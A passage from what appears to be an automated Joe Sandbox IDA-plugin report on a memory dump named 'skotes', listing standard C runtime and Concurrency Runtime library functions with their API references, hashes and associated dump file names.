csm, xrefs: 001A52E0
csm, xrefs: 001A53FE

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: e9062404e0214b45ffa830769242c1547187ce67c9b8903a5fe44b695265e1fc
Instruction ID: 3c63389cf1499373b3d8e9c038170d3dc4388eb96df7f49ddb2e6f30549a4904
Opcode Fuzzy Hash: e9062404e0214b45ffa830769242c1547187ce67c9b8903a5fe44b695265e1fc
Instruction Fuzzy Hash: 64C1AC79C08609EFCF15DFA8C8809AEBBB6BF66315F00415AF8156B202D371DA51CB91

Function 00197364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001973B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001973F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0019740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00197419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00197440

Strings

ppVirtualProcessorRoots, xrefs: 00197438
count, xrefs: 0019737E

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 9756fe187a39fdb0bf8dfb51b1be3c4fbff5caa002772aa8db9fb965110b9c08
Instruction ID: f2e47e8965e7cce54da0a7a730ce15f03d70e9fe17c2553852f3ae40c07587dd
Opcode Fuzzy Hash: 9756fe187a39fdb0bf8dfb51b1be3c4fbff5caa002772aa8db9fb965110b9c08
Instruction Fuzzy Hash: E7217134A10209EFCF14EFA8D995AADBBB5FF29350F144069E905A7391DB30AE41CF90

Function 001978E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00197903

Part of subcall function 00195CB8: __EH_prolog3_catch.LIBCMT ref: 00195CBF
Part of subcall function 00195CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00195CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0019792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00197936

Part of subcall function 00195CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00195D70
Part of subcall function 00195CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00195D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00197982
Concurrency::location::_Assign.LIBCMT ref: 001979A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 001979AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001979BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 001979ED

Part of subcall function 0019691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00196942
Part of subcall function 0019691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00196965

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: dae79fd1e1fcd44224358d86c95976be6c3c4ed0f8d913151792f10ca7e91a5b
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 25313730B18255AFCF16AB7844927FEBBB6EF51728F0401A9D486E72C2DB244D4AC3D1

Function 001A4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001A4877
___except_validate_context_record.LIBVCRUNTIME ref: 001A487F
_ValidateLocalCookies.LIBCMT ref: 001A4908
__IsNonwritableInCurrentImage.LIBCMT ref: 001A4933
_ValidateLocalCookies.LIBCMT ref: 001A4988

Strings

csm, xrefs: 001A491D

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7bdbdc5ea001a9aeab02e90f211a68dd7b4ae7b03ca3bd91aef501480a717bcc
Instruction ID: 8a0c66301f40debad40ed83074f0be24647fbdb2958a4eca8e09ca2af877c031
Opcode Fuzzy Hash: 7bdbdc5ea001a9aeab02e90f211a68dd7b4ae7b03ca3bd91aef501480a717bcc
Instruction Fuzzy Hash: C241F838A00248AFCF10DF68D884A9F7BB5BF8A328F148155F8189B352C7B5DA55CB91

Function 0019DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0019DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0019DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0019DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0019DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0019DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0019DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0019DE74

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 1b5e452701e897e0f6a7a8f8dffd0c6eba1efd998a65e0e5fa8aa3a9226cc11a
Instruction ID: 6aa62ade330167fbeed9970bed21f43b604dc8093f49e56324e4cfc21cad11ba
Opcode Fuzzy Hash: 1b5e452701e897e0f6a7a8f8dffd0c6eba1efd998a65e0e5fa8aa3a9226cc11a
Instruction Fuzzy Hash: CC419D30A043449ADF19FFA4E5967EC7BA16F21704F1440ADE8456F2C3DB359E08CB62

